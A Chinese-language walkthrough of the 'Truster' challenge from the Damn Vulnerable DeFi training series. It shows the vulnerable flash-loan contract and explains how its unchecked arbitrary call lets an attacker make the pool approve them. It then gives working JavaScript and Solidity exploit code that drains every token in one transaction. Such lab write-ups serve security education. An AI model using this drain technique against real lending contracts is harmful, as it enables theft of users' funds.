Defi黑客系列：該死的易受攻擊DeFi (三) - Truster

該死的易受攻擊的 DeFi 是一個 Defi 智能合約攻擊挑戰系列。內容包括了閃電貸攻擊、借貸池、鏈上預言機等。在開始之前你需要具備 Solidity 以及 JavaScipt 相關的技能。針對每一題你需要做的就是保證該題的單元測試能夠通過。

題目鏈接：https://www.damnvulnerabledefi.xyz/challenges/3.html

題目描述：

有一個借貸池合約提供 DVT 代幣的閃電貸功能，其中有 100 萬個代幣。而你一個都沒有，你需要做的就是在一筆交易中取光該借貸池的代幣。

同樣首先看下借貸池合約的源碼

TrusterLenderPool.sol

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/utils/Address.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";

/**
 * @title TrusterLenderPool
 * @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)
 */
contract TrusterLenderPool is ReentrancyGuard {

    using Address for address;
		
    // token 實例
    IERC20 public immutable damnValuableToken;

    constructor (address tokenAddress) {
        damnValuableToken = IERC20(tokenAddress);
    }
		
    // 閃電貸方法
    // borrowAmount 借出的數量
    // borrower 借出人
    // target 回調的合約地址
    // data  回調的合約方法以及參數形成的 calldata 數據
    function flashLoan(
        uint256 borrowAmount,
        address borrower,
        address target,
        bytes calldata data
    )
        external
        nonReentrant
    {
        // 獲取該合約 DVT token 的餘額
        uint256 balanceBefore = damnValuableToken.balanceOf(address(this));
        require(balanceBefore >= borrowAmount, "Not enough tokens in pool");

        // 轉 borrowAmount 數量的 DVT token 到 borrower 地址中
        damnValuableToken.transfer(borrower, borrowAmount);
        // 調用 target 的回調方法
        target.functionCall(data);

        // 確保已返還 token
        uint256 balanceAfter = damnValuableToken.balanceOf(address(this));
        require(balanceAfter >= balanceBefore, "Flash loan hasn't been paid back");
    }
}

通過智能合約可以看出，想通過 flashLoan 方法拿出所有 token 是沒有辦法的。因為合約最後會校驗餘額，不滿足的話會回滾交易。

換個思路，如果能夠調用 token 合約的 transferFrom 方法，即

token.transForm(pool, attacker, account);

將借貸池合約中的 token 轉到 attacker 地址，就能達到目的了。

但要使 transForm 成功執行，就需要 token 合約的授權。在 ERC20 標準中有方法

function approve(address spender, uint256 amount) public virtual override returns (bool)

即同意 spender 花費調用者賬戶 amount 數量的 token。

在本題中，就可以在借貸池合約中調用類似下面的方法：

token.approve(attacker, amount);

即調用者（借貸池合約）同意 attacker 地址花費其 amount 數量的 token。

然而，借貸池合約中並沒有可以調用的地方，但我們注意到 flashLoan 方法內部有行代碼 target.functionCall(data);，其內部核心就是進行底層調用 target.call(data)

智能合約之間的交互都是通過 calldata, 形如：
0x6057361d000000000000000000000000000000000000000000000000000000000000000a
前 4 個字節（6057361d）是函數 selector（函數的標識符），其餘是傳遞給函數的輸入參數。
在合約內部通過構造 calldata，可以通過 abi.encodeWithSignature ("函數名 (... 參數類型)", ...params)

所以在本題 target 是 token 合約的地址，data 是 approve 方法，在 js 中通過下面的方法構造 data

const abi = [
  'function approve(address, uint256) external'
]
const iface = new ethers.utils.Interface(abi)
const data = iface.encodeFunctionData('approve', [attacker.address, ethers.constants.MaxUint256])

之後就可以調用 flashLoan 方法並傳入對應的參數。成功執行後就意味著借貸池合約中的餘額可以隨意供 attacker 操作。代碼如下

it('Exploit', async function () {
  const abi = [
    'function approve(address, uint256) external'
  ]
  const iface = new ethers.utils.Interface(abi)
  const data = iface.encodeFunctionData('approve', [attacker.address, ethers.constants.MaxUint256])

  await this.pool.flashLoan(0, deployer.address, this.token.address, data)
  await this.token.connect(attacker).transferFrom(this.pool.address, attacker.address, TOKENS_IN_POOL)
})

運行 yarn truster, 測試通過！

然而題目要求進行一筆交易，顯然我們的代碼是不滿足要求的，所以可以通過智能合約執行一筆交易

TrusterAttack.sol

pragma solidity ^0.8.0;

import "../truster/TrusterLenderPool.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
contract TrusterAttack {
  TrusterLenderPool public pool;
  IERC20 public token;

  constructor(address _pool, address _token) {
    pool = TrusterLenderPool(_pool);
    token = IERC20(_token);
  }

  function attack(address borrower) external {
    address sender = msg.sender;
    bytes memory data = abi.encodeWithSignature("approve(address,uint256)", address(this), type(uint256).max);
    pool.flashLoan(0, borrower, address(token), data);

    token.transferFrom(address(pool), sender, token.balanceOf(address(pool)));
  }
}

之後在測試用例中部署合約，執行 attack 方法

it('Exploit', async function () {
  const TrusterAttack = await ethers.getContractFactory('TrusterAttack', deployer)
  const trusterAttack = await TrusterAttack.deploy(this.pool.address, this.token.address)

  await trusterAttack.connect(attacker).attack(deployer.address)
})

最後運行 yarn truster, 測試通過！

完整代碼